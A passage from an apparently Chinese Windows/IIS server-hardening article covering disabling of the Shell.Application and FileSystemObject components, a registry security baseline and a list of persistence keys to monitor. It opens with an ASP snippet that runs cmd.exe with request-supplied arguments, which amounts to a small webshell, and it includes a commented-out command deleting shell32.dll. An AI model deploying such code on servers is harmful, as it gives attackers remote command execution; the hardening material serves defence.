    appArgs = Trim(Request("appArgs"))
     
    If appName = "" Then
    appName = "cmd.exe"
    End If
        
    If appPath <> "" And Right(appPath, 1) <> "\" Then
    appPath = appPath & "\"
    End If
        
    If LCase(appName) = "cmd.exe" And appArgs <> "" Then
    If LCase(Left(appArgs, 2)) <> "/c" Then
    appArgs = "/c " & appArgs
    End If
    Else
    If LCase(appName) = "cmd.exe" And appArgs = "" Then
    appArgs = "/c "
    End If
    End If
     
    Set objShellApp = CreateObject("Shell.Application")
    objShellApp.ShellExecute appName, appArgs, appPath, "", 0
%>
 
<form method=post onSubmit='this.Submit.disabled=true'>
    所在路径: <input name=appPath type=text id=appPath value=""" & HtmlEncode(appPath) & """ size=62><br/>
    程序文件: <input name=appName type=text id=appName value=""" & HtmlEncode(appName) & """ size=62><br/>
    命令参数: <input name=appArgs type=text id=appArgs value=""" & HtmlEncode(appArgs) & """ size=62>
    <input type=submit name=Submit value=' 运行 '><br/>
    <hr/>注: 只有命令行程序在CMD.EXE运行环境下才能够进行临时文件回显(利用"">""符号),其它程序只能执行不能回显.<br/>&nbsp; 程序文件默认为cmd.exe,请自定义路径,参数处直接写命令.<hr/>
</form>

4. PHP

<?php 
    $wsh = new COM('Shell.Application') or die("Shell.Application"); 
    $exec = $wsh->open("c:\\windows\\system32\\notepad.exe"); 
    //$exec = $wsh->ShellExecute("c:\\windows\\system32\\notepad.exe");  
?>

禁用此组件的方法

1. HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540000}: 删除
2. HKEY_CLASSES_ROOT\Shell.Application: 更名为 HKEY_CLASSES_ROOT\Shell.Application_bak
3. HKEY_CLASSES_ROOT\Shell.Application.1: 更名为 HKEY_CLASSES_ROOT\Shell.Application.1_bak
4. HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值: 项目的值改成其余值(删除效果也是同样的)
5. HKEY_CLASSES_ROOT\Shell.Application.1\CLSID\项目的值: 项目的值改成其余值(删除效果也是同样的)

/*
regsvr32/u C:\WINDOWS\system32\shell32.dll
del C:\WINDOWS\system32\shell32.dll
*/

Relevant Link:

http://www.xishuiw.com/info/2011-1/2011-1-7-28188.htm 
http://ss64.com/vb/shellexecute.html
http://www.2cto.com/Article/201308/232922.html
http://www.tdblog.cn/m/?post=125

0x3:FileSystemObject组件 

如今愈来愈多的网站使用动态生成静态页的技术,就是信息在写入数据库的同时,使用系统的FSO组件来生成html格式的静态页,这样能提升用户的访问速度。这样系统在配置的时候,须要载入FSO组件(File System Object) 。

FSO(FileSystemObject)是微软ASP的一个对文件操做的控件,该控件能够对服务器进行读取、新建、修改、删除目录以及文件的操做。是ASP编程中很是有用的一个控件。可是由于权限控制的问题,不少虚拟主机服务器的FSO反而成为这台服务器的一个公开的后门,由于客户能够在本身的ASP网页里面直接就对该控件编程,从而控制该服务器甚至删除服务器上的文件 

FSO对象模型包含在Scripting 类型库(Scrrun.Dll)中,它同时包含了5个对象:

1. Drive: Drive用来收集驱动器的信息,如可用磁盘空间或驱动器的类型
2. Folder: Folder用于建立、删除或移动文件夹,同时能够进行向系统查询文件夹的路径等操做
3. File: File的基本操做和Folder基本相同,所不一样的是Files的操做主要是针对磁盘上的文件进行的
4. FileSystemObject: FileSystemObject是FSO对象模型中最主要对象,它提供了一套完整的可用于建立、删除文件和文件夹,收集驱动器、文件夹、文件相关信息的方法。须要注意的是,FSO对象模型提供的方法是冗余的,也就是说在实际使用中,FSO对象模型中包含的不一样对象的不一样方法进行的倒是一样的操做,并且FileSystemObject对象的方法直接做用于其他对象
5. TextStream: extStream对象则是用来完成对文件的读写操做

 

1. FSO的加载方法

1. 首先在系统目录中查找scrrun.dll,若是存在这个文件,请跳到第三步,若是没有,请执行第二步 
2. 在系统安装盘i386目录中找到scrrun.dl_,用winrar解压缩,得scrrun.dll,而后复制到你的系统目录c:windowssystem32目录中。
3. 运行regsvr32 scrrun.dll便可。
4. 若是想关闭FSO组件,请运行 regsvr32 /u scrrun.dll便可。

adodb.stream组件  
regsvr32 "C:Program FilesCommon FilesSystemadomsado15.dll"
便可再次支持adodb.stream组件

2. FSO使用示例

1. 建立文件
dim fso, f
set fso = server.CreateObject("Scripting.FileSystemObject")
set f = fso.CreateTextFile("C:\test.txt", true) '第二个参数表示目标文件存在时是否覆盖
f.Write("写入内容")
f.WriteLine("写入内容并换行")
f.WriteBlankLines(3) '写入三个空白行(至关于在文本编辑器中按三次回车)
f.Close()
set f = nothing
set fso = nothing

2. 打开并读文件
dim fso, f
set fso = server.CreateObject("Scripting.FileSystemObject")
set f = fso.OpenTextFile("C:\test.txt", 1, false) '第二个参数 1 表示只读打开,第三个参数表示目标文件不存在时是否建立
f.Skip(3) '将当前位置向后移三个字符
f.SkipLine() '将当前位置移动到下一行的第一个字符,注意:无参数
response.Write f.Read(3) '从当前位置向后读取三个字符,并将当前位置向后移三个字符
response.Write f.ReadLine() '从当前位置向后读取直到遇到换行符(不读取换行符),并将当前位置移动到下一行的第一个字符,注意:无参数
response.Write f.ReadAll() '从当前位置向后读取,直到文件结束,并将当前位置移动到文件的最后
if f.atEndOfLine then
   response.Write("一行的结尾!")
end if
if f.atEndOfStream then
    response.Write("文件的结尾!")
end if
f.Close()
set f = nothing
set fso = nothing

3. 打开并写文件
dim fso, f
set fso = server.CreateObject("Scripting.FileSystemObject")
set f = fso.OpenTextFile("C:\test.txt", 2, false) '第二个参数 2 表示重写,若是是 8 表示追加
f.Write("写入内容")
f.WriteLine("写入内容并换行")
f.WriteBlankLines(3) '写入三个空白行(至关于在文本编辑器中按三次回车)
f.Close()
set f = nothing
set fso = nothing

4. 判断文件是否存在
dim fso
set fso = server.CreateObject("Scripting.FileSystemObject")
if fso.FileExists("C:\test.txt") then
    response.Write("目标文件存在")
else
    response.Write("目标文件不存在")
end if
set fso = nothing

5. 移动文件
dim fso
set fso = server.CreateObject("Scripting.FileSystemObject")
call fso.MoveFile("C:\test.txt", "D:\test111.txt") '两个参数的文件名部分能够不一样
set fso = nothing

6. 复制文件
dim fso
set fso = server.CreateObject("Scripting.FileSystemObject")
call fso.CopyFile("C:\test.txt", "D:\test111.txt") '两个参数的文件名部分能够不一样
set fso = nothing

7. 删除文件
dim fso
set fso = server.CreateObject("Scripting.FileSystemObject")
fso.DeleteFile("C:\test.txt")
set fso = nothing

8. 建立文件夹
dim fso
set fso = server.CreateObject("Scripting.FileSystemObject")
fso.CreateFolder("C:\test") '目标文件夹的父文件夹必须存在
set fso = nothing

9. 判断文件夹是否存在
dim fso
set fso = server.CreateObject("Scripting.FileSystemObject")
if fso.FolderExists("C:\Windows") then
    response.Write("目标文件夹存在")
else
    response.Write("目标文件夹不存在")
end if
set fso = nothing

10. 删除文件夹
dim fso
set fso = server.CreateObject("Scripting.FileSystemObject")
fso.DeleteFolder("C:\test") '文件夹没必要为空
set fso = nothing
//FSO不能操做二进制文件,要操做二进制文件,使用ADODB.Stream

禁用FSO组件的方法

1. 用RegSrv32 /u C:\WINDOWS\SYSTEM\scrrun.dll
2. 修改Progid的值: 在ASP里调用组件的方式一般是 Set 对象名 = Server. CreateObject("Progid"),这时候咱们就能够经过修改注册表中的Progid值从达到禁用该组件的方法
HKEY_CLASSES_ROOT\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\ProgID: 将默认值改成 Scripting.FileSystemObject_bak
3. HKEY_CLASSES_ROOT\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}: 改成HKEY_CLASSES_ROOT\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054229},改变CLSID号,使调用失败
4. HKEY_CLASSES_ROOT\Scripting.FileSystemObject: 改成 HKEY_CLASSES_ROOT\Scripting.FileSystemObject_bak
5. HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID\项目的值: 项目的值改成其余值(删除效果也是同样的)

Relevant Link:

http://sujian.blog.51cto.com/8838/3788
http://www.15897.com/blog/post/ASP-FSO-zujian-xiangjie-shuoming.html
http://www.williamlong.info/archives/89.html
http://www.mydiannao.com/article/show.asp?id=3902
http://www.xishuiw.com/info/2011-1/2011-1-7-28188.htm
http://service.oray.com/question/349.html

Relevant Link:

https://support.microsoft.com/zh-cn/kb/314837
http://www.xitonghe.com/jiaocheng/windows7-2587.html
http://www.windowsnetworking.com/kbase/WindowsTips/WindowsNT/RegistryTips/Registry/DisableRemoteRegistryEditing.html 

 

6. 注册表安全配置基线标定

0x1: 自启动项检查

1. HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows\load
    1) expectedvalue: 空 
    2) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
2. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Userinit
    1) expectedvalue: 空 
    2) discription: 可疑风险自动启动项,会随着WINDOWS系统启动时自动初始化程序  
3. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
    1) expectedvalue: 空 
    2) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
4. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
    1) expectedvalue: 空 
    2) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动 
7. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
    1) expectedvalue: 空 
    2) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
8. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
    1) expectedvalue: 空 
    2) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动  
9. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
    1) expectedvalue: 空 
    2) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
10. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
    1) expectedvalue: 空 
    2) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
11. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
    1) expectedvalue: 空 
    2) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
12. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Setup
    1) expectedvalue: 空 
    2) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
13. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce:
    1) expectedvalue: 空 
    2) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
14. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
    1) expectedvalue: 空 
    2) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
15. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
    1) expectedvalue: 空 
    2) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
16. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    1) expectedvalue: 空 
    2) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动
17. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    1) expectedvalue: 空 
    2) discription: 可疑风险自动启动项,会随着WINDOWS系统启动的时候自动启动

0x2: 磁盘驱动器被隐藏

1. HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer\NoDrives
    1) expectedvalue: 0
    2) discription: 当前启动了磁盘驱动隐藏,属于风险行为

0x3: 网络安全相关

1. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\EnableDCOM
    1) expectedvalue: "N"
    2) discription: 135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务,"冲击波"病毒,该病毒就是利用RPC漏洞来攻击计算机的。RPC自己在处理经过TCP/IP的消息交换部分有一个漏洞,该漏洞是因为错误地处理格式不正确的消息形成的。该漏洞会影响到RPC与DCOM之间的一个接口,该接口侦听的端口就是135,为了不"冲击波"病毒以及其余RPC漏洞的攻击,建议关闭该端口 
2. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\DCOM Protocols
    1) expectedvalue: not contain "ncacn_ip_tcp"
    2) discription: 135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务,"冲击波"病毒,该病毒就是利用RPC漏洞来攻击计算机的。RPC自己在处理经过TCP/IP的消息交换部分有一个漏洞,该漏洞是因为错误地处理格式不正确的消息形成的。该漏洞会影响到RPC与DCOM之间的一个接口,该接口侦听的端口就是135,为了不"冲击波"病毒以及其余RPC漏洞的攻击,建议关闭该端口  
3. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\SMBDeviceEnabled
    1) expectedvalue: 0
    2) discription: 445端口是一个毁誉参半的端口,他和139端口一块儿是IPC$入侵的主要通道。有了它咱们能够在局域网中轻松访问各类共享文件夹或共享打印机,但也正是由于有了它,黑客们才有了可乘之机,攻击者能经过该端口共享受害者的硬盘,甚至会在悄无声息中将硬盘格式化掉
4. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RestrictAnonymous
    1) expectedvalue: not "0" 
    2) discription: 禁用IPC$空链接,能够防止远程用户的匿名访问
5. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBt\Parameters\BacklogIncrement
    1) expectedvalue: >=3
    2) discription: 在创建链接时,若是BetBT发现可用的链接块数目小于2个,会自动的再分配可用链接块,NetBT每次增长的链接块的数目定义在注册表中的双字节值项BacklogIncrement中,适当增大此值能够提升并发链接速度
6. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\EnableDynamicBacklog
    1) expectedvalue: 1
    2) discription: 对于网络繁忙或者易遭受SYN攻击的系统,建议设置为1,表示容许动态Backlog 
7. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\MinimumDynamicBacklog
    1) expectedvalue: 20
    2) discription: 表示动态Backlog分配的自由链接的最小数目。当自由链接数目低于此数目时,将自动的分配自由链接,对于网络繁忙或者易遭受SYN攻击的系统,建议设置为20 
8. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\MaximumDynamicBacklog
    1) expectedvalue: >= 20000
    2) discription: 表示定义最大""链接的数目。""链接包括自由链接和半链接,对于网络繁忙或者易遭受SYN攻击的系统,应该设置此值,大小取决于内存的多少。通常来讲,每32M内存最大能够增长5000个
9. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\DynamicBacklogGrowthDelta
    1) expectedvalue: >= 10
    2) discription: 表示定义每次增长的自由链接数目,对于网络繁忙或者易遭受SYN攻击的系统,建议设置大于等于10
10. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\SynAttackProtect
    1) expectedvalue: 2
    2) discription: SYN淹没攻击保护特性可以在系统层面阻挡一部分SYN攻击
11. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxPortsExhausted
    1) expectedvalue: 5
    2) discription: 设定系统启动SYN淹没攻击保护以前的TCP链接数上限 
12. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxHalfOpen
    1) expectedvalue: 500
    2) discription: 设定系统启动SYN淹没攻击保护以前的SYN半开链接数上限
13. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxHalfOpenRetried
    1) expectedvalue: 400
    2) discription: 设定系统最大的半开链接重试次数
14. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxConnectResponseRetransmissions
    1) expectedvalue: 2
    2) discription: 定义了对于链接请求回应包的重发次数,若是该值为1,则SYN淹没攻击不会有效果,可是这样会形成链接请求失败概率的升高,建议设置为2
15. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxDataRetransmissions
    1) expectedvalue: 2
    2) discription: 定义了对于数据包发送请求回应包的重发次数,若是该值为1,则SYN淹没攻击不会有效果,可是这样会形成链接请求失败概率的升高,建议设置为2
16. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\EnablePMTUDiscovery
    1) expectedvalue: 0
    2) discription: 防护TCP碎片攻击
17. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\KeepAliveTime
    1) expectedvalue: 300000
    2) discription: 设置系统发送KeepAlive存活包时间间隔
18. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netbt\Parameters\NoNameReleaseOnDemand
    1) expectedvalue: 1
    2) discription: 设置是否释放NetBIOS name,当接收到一个name-release请求包
19. HKLM\System\CurrentControlSet\Services\TcpIp\Parameters\EnableICMPRedirect
    1) expectedvalue: 0
    2) discription: 防护ICMP重定向攻击,检查有可能用以攻击的ICMP重定向报文
20. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\EnableDeadGWDetect
    1) expectedvalue: 0
    2) discription: 防护SNMP劫持攻击,检查无效网关,以便优化网络
21. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DisableIPSourceRouting
    1) expectedvalue: 1
    2) discription: 禁止IP源路由建议丢弃全部接受的源路由包  
22. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\EnableMulticastForwarding
    1) expectedvalue: 0
    2) discription: 禁止转发IP广播数据包
23. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter
    1) expectedvalue: 0
    2) discription: 禁止路由发现功能,ICMP路由通告报文能够被用来增长路由表记录,能够致使攻击 
24. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\EnableAddrMaskReply
    1) expectedvalue: 0
    2) discription: 禁止接收ICMP地址掩码数据包

0x4: 组件安全相关

1. HKEY_CLASSES_ROOT\WScript.Shell
    1) expectedvalue: not exist
    2) discription: W.Shell组件经常被黑客用来执行vbs脚本,黑客经过WEBSEHLL或者其余上传漏洞上传vbs提权脚本并执行,除此以外,黑客也上传ASP、ASP.NET WEBSHELL(其中包含了W.Shell的调用),建议重命名此表项
2. HKEY_CLASSES_ROOT\WScript.Shell.1
    1) expectedvalue: not exist
    2) discription: W.Shell组件经常被黑客用来执行vbs脚本,黑客经过WEBSEHLL或者其余上传漏洞上传vbs提权脚本并执行,除此以外,黑客也上传ASP、ASP.NET WEBSHELL(其中包含了W.Shell的调用),建议重命名此表项
3. HKEY_CLASSES_ROOT\WScript.Shell\CLSID\
    1) expectedvalue: not {72C24DD5-D70A-438B-8A42-98424B88AFB8}
    2) discription: W.Shell组件经常被黑客用来执行vbs脚本,黑客经过WEBSEHLL或者其余上传漏洞上传vbs提权脚本并执行,除此以外,黑客也上传ASP、ASP.NET WEBSHELL(其中包含了W.Shell的调用),建议重命名此表项
4. HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\
    1) expectedvalue: not {72C24DD5-D70A-438B-8A42-98424B88AFB8}
    2) discription: W.Shell组件经常被黑客用来执行vbs脚本,黑客经过WEBSEHLL或者其余上传漏洞上传vbs提权脚本并执行,除此以外,黑客也上传ASP、ASP.NET WEBSHELL(其中包含了W.Shell的调用),建议重命名此表项
5. HKEY_CLASSES_ROOT\Shell.Application
    1) expectedvalue: not exist
    2) discription: shell.application这个组件经常被黑客用来部署WEBSHELL恶意文件,执行系统指令并提权 
6. HKEY_CLASSES_ROOT\Shell.Application.1
    1) expectedvalue: not exist
    2) discription: shell.application这个组件经常被黑客用来部署WEBSHELL恶意文件,执行系统指令并提权 
7. HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值
    1) expectedvalue: not {13709620-C279-11CE-A49E-444553540000}
    2) discription: shell.application这个组件经常被黑客用来部署WEBSHELL恶意文件,执行系统指令并提权  
8. HKEY_CLASSES_ROOT\Shell.Application.1\CLSID\项目的值
    1) expectedvalue: not {13709620-C279-11CE-A49E-444553540000}
    2) discription: shell.application这个组件经常被黑客用来部署WEBSHELL恶意文件,执行系统指令并提权  
9. HKEY_CLASSES_ROOT\Scripting.FileSystemObject
    1) expectedvalue: not exist
    2) discription: FSO对象经常被黑客利用进行WEBSHELL恶意文件上传
10. HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID\项目的值
    1) expectedvalue: not {0D43FE01-F093-11CF-8940-00A0C9054228}
    2) discription: FSO对象经常被黑客利用进行WEBSHELL恶意文件上传 
11. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA\RestrictAnonymous
    1) expectedvalue: 00000001
    2) discription: 禁止远程访问操做注册表,建议关闭
12. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters\AutoShareServer
    1) expectedvalue: 0
    2) discription: 禁止默认启动WINDOWS共享文件夹($ADMIN、$C、$D.)

 

7. 监控项

HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnce
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer/Run
HKEY_CURRENT_USER/Software/Microsoft/Windows/Current Version/Policies/Explorer
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServicesOnce 
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServices
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnceEx
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System/Shell
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/RecentDocs
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnce/Setup
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Windows
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Windows/load  
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Internet Explorer/TypedURLs
HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main 
HKEY_CURRENT_USER/SOFTWARE/Microsoft/Command Processor/
HKEY_CURRENT_USER/SOFTWARE/Policies/Microsoft/Windows/System/Scripts
HKEY_CURRENT_USER/SOFTWARE/Policies/Microsoft/Windows/System/Scripts/Logon
HKEY_CURRENT_USER/SOFTWARE/Policies/Microsoft/Windows/System/Scripts/Logoff


HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnce
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/Explorer/Run
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/​​CurrentVersion/​Explorer/Browser Helper Objects/
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/​​CurrentVersion/​Explorer/​ShellExecuteHooks/
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServicesOnce 
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServices  
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnceEx
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnce/Setup 
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/ShellServiceObjectDelayLoad
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System/
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Group Policy/Scripts/Startup            
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Group Policy/Scripts/Shutdown
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/​CurrentVersion/Winlogon/GPExtensions/
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/​CurrentVersion/Winlogon/Notify/
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon/Userinit
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Windows 
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/AppCompatFlags/Custom 
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/AppCompatFlags/InstalledSDB
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/NetworkList/Profiles
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Windows/AppInit_DLLs
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Windows/LoadAppInit_DLLs
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Command Processor/
HKEY_LOCAL_MACHINE/SOFTWARE/Classes/lnkfile/IsShortcut
HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Folder/shell/yourappname
HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Folder/shell/yourappname/command
HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Directory/shell/yourappname
HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Directory/shell/yourappname/command
HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Drive/shell/yourappname
HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Drive/shell/yourappname/command
HKEY_LOCAL_MACHINE/SOFTWARE/Policies/Microsoft/Windows/System/Scripts
HKEY_LOCAL_MACHINE/SOFTWARE/Policies/Microsoft/Windows/System/Scripts/Logon
HKEY_LOCAL_MACHINE/SOFTWARE/Policies/Microsoft/Windows/System/Scripts/Logoff
HKEY_LOCAL_MACHINE/SOFTWARE/Wow6432Node/Microsoft/Windows NT/CurrentVersion/Windows/AppInit_DLL
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SharedAccess/Parameters/FirewallPolicy/StandardProfile 
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SecurityHealthService
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/​Winsock2/​Parameters/​Protocol_Catalog9/​Catalog_Entries/
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session Manager/ExcludeFromKnownDlls 
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session Manager/KnownDLLs/
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/WOW/Control/Session Manager/Environment/
HKEY_LOCAL_MACHINE/SYSTEM/Services/CurrentControlSet/services/Tcpip/Parameters/Interfaces
HKEY_LOCAL_MACHINE/SYSTEM/ControlSet00x/Enum/USBSTOR
HKEY_LOCAL_MACHINE/SYSTEM/MountedDevices


HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Ole/EnableDCOM
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Rpc/DCOM Protocols
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/NetBT/Parameters/SMBDeviceEnabled
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa/RestrictAnonymous
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/NetBt/Parameters/BacklogIncrement
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/AFD/Parameters/EnableDynamicBacklog
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/AFD/Parameters/MinimumDynamicBacklog
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/AFD/Parameters/MaximumDynamicBacklog
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/AFD/Parameters/DynamicBacklogGrowthDelta
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/services/Tcpip/Parameters/SynAttackProtect
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/TcpMaxPortsExhausted
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/TcpMaxHalfOpen
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/TcpMaxHalfOpenRetried
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/TcpMaxConnectResponseRetransmissions
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/TcpMaxDataRetransmissions
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/EnablePMTUDiscovery
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TcpIp/Parameters/KeepAliveTime
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Netbt/Parameters/NoNameReleaseOnDemand
